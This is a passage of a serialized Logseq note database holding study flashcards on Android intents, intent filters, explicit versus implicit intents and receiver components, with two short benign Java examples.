-afe9-d3144bf1adb7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Components #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Flogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Vlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873236]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Jlogseq____&quot;,[],536873236]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Hlogseq____&quot;,2,536873236]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Hlogseq____&quot;,24,536873236]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-70d9-40db-900e-f07703ba09adlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;indicates which apps and components can *call/start this component*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Flogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-2106-48ee-8347-e47de5275460logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Query packages / intent filterslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Flogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873236]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Jlogseq____&quot;,[],536873236]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-2ec4-4387-8c76-186f1424173clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;1. Activity A creates an [[Intent Messages]] with an action description and passes it to `startActivity()`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Flogseq____&quot;,129,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Hlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-66c5-4aea-8653-d6605fbc7e29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Open a link in the users preferred browserlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Flogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Vlogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-46fa-4b29-b8e2-2a9ad0bf9bdelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be set explicitly or implicitlylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Flogseq____&quot;,124,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Vlogseq____&quot;,124,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ff71-4965-ae2b-71ed2fac6951logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Explicit #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Flogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Vlogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f86f-4eca-ab35-108b831cdf82logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Flogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-63ea-49e3-86ed-708ada25dec6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nIntent intent = new Intent(this, MainActivity.class);\\nstartActivity(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Flogseq____&quot;,116,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Vlogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9803-435c-8891-85ac1e5ec334logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Flogseq____&quot;,121,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Vlogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a335-44b9-83ab-c3266a39e7b4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Start `MainActivity` component within the same packagelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Flogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Vlogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-befe-4d3b-9c43-55dd83d403ddlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nIntent intent = new Intent(Intent.ACTION_VIEW);\\nintent.setData(Uri.parse(\\logseq____&quot;https://google.com\\logseq____&quot;));\\nactivity.startActivity(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Flogseq____&quot;,110,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Vlogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-e68b-4717-9704-e11fce1de302logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;2. The Android system searches all apps for an intent filter that matches the intentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Flogseq____&quot;,109,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-73d7-4add-9a2d-90240d2dd0eflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Examplelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Flogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ad5e-45eb-80d3-6a79156b4492logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;May be abused by attackers to start unintended componentslogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Flogseq____&quot;,125,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-195a-425e-88eb-9cce97826172logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify the target component namelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Flogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Vlogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9bc9-4a63-b7f2-ebec0ce0e95clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify some `Action String`, `Category` and `Data`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Flogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9a4d-41fc-822a-3c5fe7d8812clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Implicit #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Flogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Vlogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8d93-4973-ad1c-e3040cdf585clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Receiver Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Flogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5d67-46bb-b460-e6a2c39a1250logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android will find a suitable receiverlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Flogseq____&quot;,122,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-184e-421f-8fb7-eb3b981cf767logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Are sent and received by applications (can also be sent to components of different apps)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Flogseq____&quot;,130,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1951-49cf-9e3e-df1332388777logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;3. When a match is found it starts the matching activity (Activity B) by invoking its `onCreate()` method and passing it the [[Intent Messages]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Flogseq____&quot;,118,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Hlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-fd74-4d18-ab64-d8053b860979logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Transmitted via *binder-based IPC*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Flogseq____&quot;,126,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-e648-4bf6-acd8-4ffeda5c9ef2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![](https://developer.android.com/static/images/components/intent-filters_2x.png)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Flogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-36f7-4754-b268-869f00fbf4a1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Intent message as data object representing an intend to do somethinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Flogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c855-4300-8a3a-72e638916196logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Klogseq____&quot;,1740128172005,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;organizationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^11logseq____&quot;,logseq____&quot;Organizationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Blogseq____&quot;,1740128172005,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-44a5-4484-ab1c-06086d8510delogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security of mobile platforms and 